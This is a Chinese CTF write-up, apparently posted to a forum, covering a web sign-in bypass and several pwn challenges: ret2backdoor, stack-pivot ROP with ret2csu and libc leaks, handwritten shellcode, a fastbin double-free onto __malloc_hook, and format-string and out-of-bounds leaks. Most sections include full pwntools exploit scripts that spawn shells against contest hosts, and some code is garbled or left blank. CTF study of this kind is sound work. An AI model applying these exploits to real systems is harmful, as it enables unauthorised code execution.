题目链接
编者的话:这篇文章可能有些图片有点高糊,还请各位师傅放大了看
web
Sign_in
dustbin talk
pwn手最后一个小时想捞点分就尝试了一下web的签到题,结果一开始不会做
后来网上学习了一下强行切了
题解
首先是要给个截断绕过第一个if()
?a=2333%0a
后面禁了数组容器所以是一个md5绕过,不过挺弱的,网上随便找两个字符串就过了
然后还有就是做得太久,服务器重启了,请教了北邮的nova师傅才知道
PWN
(一)aaa (还真就是这名)
开门红
ida
很明显的ret2backdoor就不详细写了
《pwn is so easy》31小时折磨的开端
exp
1 2 3 4 | from pwn import *
r = process( './stack' )
r.sendline( 'a' * 0x18 + p64( 0x4011dd ))
r.interactive()
|
(二)hardstack
看下保护
反汇编以及思路
首先是一个到全局变量的读入,然后要读入buf,发现buf只能覆盖到返回地址并且要拿buf和字 符'Y'和'y'进行strcmp的操作
无后门函数意思是要自己调用
但有libc文件,所以要调用打印函数(这题只有puts函数)打印二进制文件的某个got表和libc的对应函 数的symbol表相减算出基址,再得出system函数的symbol表地址和字符串'/bin/sh'的地址最后调用
但有个问题,只调用puts函数的话泄露出got表地址就无法继续操作了,一开始想的是返回到main,但 是会出问题(后面会提到),所以只能选择调用read函数。
用查找gadget的指令没发现pop rdx的东东(也没有在函数列表发现csu),于是就去找大师傅对线了
后来ida里看了看text段,找到了
解题过程
由于buf能读入的字节数很少,所以想到栈迁移,把栈帧迁移到前面读入的全局变量段并控制rip为迁移 以后栈帧+8字节位置的地址,但直接迁移到读入的开始也会有问题(后面再说)
rop链就是pop_rdi_ret+got+put_plt+csu调用read函数
读入数据到什么位置呢?到csu的ret时的rsp的位置(这个调出来比直接算要简单,我直接算差了8个字 节)
问题
这道题思路很清晰,但是就是做的过程中出了三个问题
(1) main函数返回会在第一个读入函数卡死 (2)调用read函数的plt表时发现被修改了,而且能定位到是put函数里面调用一个函数之后变的 (3) system函数call一个函数之后卡死
仔细分析一下,这三个问题有一个共性——都是call指令之后出错
为啥?
举个栗子
这是在进行一个函数动态链接的时候的汇编代码,发现rsp会减少。当然,假如说函数已经被链接了会不 会也会有sub rsp的指令呢?我没看 (懒得) ,但是调试的时候发现是会减少的(大概),这其实是牵扯 到一个在低地址分配栈帧的问题(函数动态链接(指链接过程不含调用)应该没有栈帧的分配), sub sub rsp , rsp就到一个无效(或者不可访问的)内存了
解决思路——抬栈
(1) ret滑雪橇式抬栈
1 | ret = gadget_ret_addresspayload = p64(gadget_ret_address) * N + p64(ROP)(建议N卡个极限位置,不然服务器吃不消会直接滑下悬崖)
|
(2)栈迁移主动抬高(什么nt名字)
就是在栈迁移的时候往前移一点(同样也不要太多)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import *
r = remote( "116.62.46.174" , 10010 )
context.log_level = 'debug'
elf = ELF( './stack1' )
libc = ELF( './libc-2.31.so' )
put_plt = elf.plt[ 'puts' ]
put_got = elf.got[ 'puts' ]
read_got = elf.got[ 'read' ]
csu_front = 0x401300
csu_end = 0x401316
pop_rdi_ret = 0x401323
r.recvuntil( 'Input your name:' )
payload1 = 'a' * 0x160 + p64( 0x0 ) + p64(pop_rdi_ret) + p64(put_got) + p64(put_plt) + p64(csu_e nd) + p64( 0 ) + p64( 0 ) + p64( 1 ) + p64( 0 ) + p64( 0x4042a0 ) + p64( 0x8000 ) + p64(read_got) + p64(csu_
front) + 'a' * 0x38
r.send(payload1)
r.recvuntil( "Would you like to join 0RAYS?(Y/n)" )
payload2 = 'y' + '\x00'
payload2 = payload2.ljust( 0x10 , '\x00' ) + p64( 0x4040A0 + 0x160 ) + p64( 0x4012b8 )
r.send(payload2)
r.recvuntil( 'Welcome to join us!\n' )
put_address = u64(r.recv( 6 ).ljust( 8 , '\x00' ))
libc_base = put_address - libc.symbols[ 'puts' ]
sysadress = libc_base + libc.symbols[ 'system' ]
binsh = libc_base + libc.search( '/bin/sh' ). next ()
print ( hex (put_address))
print ( hex (binsh))
print ( hex (sysadress))
payload3 = p64( 0x40101a ) * 128 + p64(pop_rdi_ret) + p64(binsh) + p64(sysadress)
|
(三)code
前置知识
手写shellcode
常见的系统调用号linux64位
核心思想就是通过汇编指令来控制寄存器的值来达到系统调用的目的,需要对ret等汇编指令有个比较熟悉的认识,并且合理的控制栈上的内容,因为pop和push等指令是从栈上取值的。还要了解一些汇编指令的机器码,比如ret的机器码是0xc3
保护
NX没开的话就考虑是shellcode了
Ghira
结合ida看的栈帧(把call rdx的机器码改成nop nop就可以F5了),发现最后会把数组当成代码段处理,但不能用shellcraft,因为中间有0xc3(ret)隔开,所以就需要手写shellcode。需要顾及到ret指令是pop加jmp的组合,所以手写的shellcode里面需要有push的成分。注意,push的不是寄存器的值,而是寄存器指向的栈帧上的值,由于中间有ret隔开,所以我们需要用add来移动指向的栈帧。这题rdx为啥会指向栈帧,进入gdb里看看就明白了。
由于是系统调用的execve('/bin/sh',0,0),rdx和rsi都很简单,xor本身就好了。rdi就需要不断的移动寄存器指向的栈帧,最后指向栈帧上的‘/bin/sh’字符。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
r = process( './code' )
def add(con):
r.recvuntil( ':' )
r.send(con)
pd =
add(asm(pd))
pd =
add(asm(pd))
pd =
add(asm(pd))
pd =
add(asm(pd))
pd =
add(asm(pd))
gdb.attach(r)
add( '/bin/sh\x00' )
r.interactive()
|
(四)ezheap
前言
纪念俺的第一道堆题
如果对fastbin_attack大致如何实现不太熟悉的可以康康俺的堆的随笔,本篇主要是通过对复现招新赛俺没出的堆题来记录一下fastbin_attack的一些细节
前置知识
(1)malloc返回地址(内存指针)到底是个啥:
这个在俺的随笔里也有,但是俺今天复现的时候才发现俺只明白了字面意思
double_free有个修改fd指针到fake_chunk的地址,然后通过malloc是要把这个地址拿出来的,但这两个地址其实是不一样的,malloc返回的是fake_chunk的content段的地址,意思是会有两个机器字长的偏差
(2)glibc的检测机制:
这个fake_chunk可不能随便构造,因为glibc有个检查size成员的机制,虽然俺现在不知道它是怎么检查的,有没有对齐的要求,但是俺知道至少不为0
保护
除了pie全开了
反汇编
很标准的管理系统,增删和打印
思路
通过double_free到地址为(0x40403d)的fake_chunk,通过修改content段(0x40404d)一直覆盖到* (&unk_404060 + v1 + 2)(0x404070)的位置为free的got表从而泄露libc基址
然后再次double_free,fake_chunk为malloc_hook-0x23(用地址错位构造size为0x7f),通过add函数修改其content来写修改malloc_hook为one_gadget
最后调用一次malloc(0)直接pwn掉
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | from pwn import *
context.log_level = 'debug'
r = remote( "116.62.46.174" , 30000 )
libc = ELF( './libc-2.23' )
def cho(num):
r.recvuntil( "Your choice:" )
r.sendline( str (num))
def add( id ,si,con):
cho( 1 )
r.recvuntil( "Idx:" )
r.sendline( str ( id ))
r.recvuntil( "Size:" )
r.sendline( str (si))
r.recvuntil( "Content?\n" )
r.send(con)
def delet( id ):
cho( 2 )
r.recvuntil( "Idx:" )
r.sendline( str ( id ))
def show( id ):
cho( 3 )
r.recvuntil( "Idx:" )
r.sendline( str ( id ))
add( 0 , 0x68 , 'a' )
add( 1 , 0x68 , 'b' )
delet( 0 )
delet( 1 )
delet( 0 )
add( 0 , 0x68 ,p64( 0x40403d ))
add( 1 , 0x68 , 'a' )
add( 0 , 0x68 , 'b' )
add( 0 , 0x68 , 'a' * 0x23 + p64( 0x403fa8 ))
show( 0 )
libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - libc.sym[ 'free' ]
log.success( "libcbase:" + hex (libcbase))
hook = libcbase + libc.sym[ '__malloc_hook' ]
add( 0 , 0x68 , 'a' )
add( 1 , 0x68 , 'b' )
delet( 0 )
delet( 1 )
delet( 0 )
add( 0 , 0x68 ,p64(hook - 0x23 ))
add( 1 , 0x68 , 'a' )
add( 0 , 0x68 , 'b' )
one = [ 0x45226 , 0x4527a , 0xf03a4 , 0xf1247 ]
onegadget = one[ 3 ] + libcbase
add( 0 , 0x68 , 'a' * 0x13 + p64(onegadget))
cho( 1 )
r.recvuntil( "Idx:" )
r.sendline( str ( 0 ))
r.recvuntil( "Size:" )
r.sendline( str ( 0 ))
r.interactive()
|
(五)overflow
例题:【赛博协会招新赛】overflow
保护
ida
frame
思路
首先要调用shell函数的话是要leak libc基址的,发现可用printf(buf)来leak返回地址的__libc_start_main+231即可算出libc基地址
用scanf字符串格式化漏洞修改elf.got['exit']为main函数的got从而返回,然后再次修改elf.got['exit']为one_gadget即可
(六)secret
保护
和上上上上道的保护一样就不展示了(懒得)
ida
发现没啥思路(当时还没想到printf函数怎么用)
(大师傅说这个的时候栈和bss段以及.got.plt段都看烂了)
先看看栈
哟,这不是wiki上的那道原题吗(当时学onegadget并没有完全懂)?
套个模板,选择爆破 然后就在纠结到底爆破dl_fini还是libc_start
wiki是爆破的dl_fini,那就先试试
结果不行
那就libc_start?
还是不行 。。。。。 怎么办?
回去看反汇编,灵光一闪!
我输入一个负数它不就能泄露低地址的got表了莫
我真tm是个小天才
结果,还是,输出了我不能控制的数据
于是,意识到需要从汇编代码的角度去看为什么
发现esi在0x401243被修改为eax
eax在上条被修改为数组首地址偏移rdx位地址的内容(rax不用管是个定值调调就知道)
然后rdx被修改为rax*4,当时rax就是我们输入的内容 所以直接输入偏移量是不对的,得除以4 由于printf(“%d”)只能输出4个字节的内容,所以我们减去elf.got[]获得不是完全的libc基址,而是低几 位的(具体几位得调调才知道),这时候要用到libc_main_start 和libc首地址非常近的性质,直接覆盖 libc_mian_start的低几位就可调用one_gadget
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import *
context.log_level = 'debug'
r = remote( '116.62.46.174' , 20001 )
libc = ELF( './libc-2.27.so' )
r.recvuntil( 'I have 10 secrets, choice one to read?' )
r.sendline( '-34' )
r.recvuntil( 'The secret is ' )
string = r.recvuntil( '\n' )[: - 1 ]
print (string)
address = int (string)
base = address - libc.symbols[ 'puts' ]
one_gadget = base + 0x4f432 print ( hex (one_gadget))
r.recvuntil( "leave your secret" )
payload = 0x38 * 'a' + p32(one_gadget)[: 5 ]
r.send(payload)
r.interactive()
|
[培训]《安卓高级研修班(网课)》月薪三万计划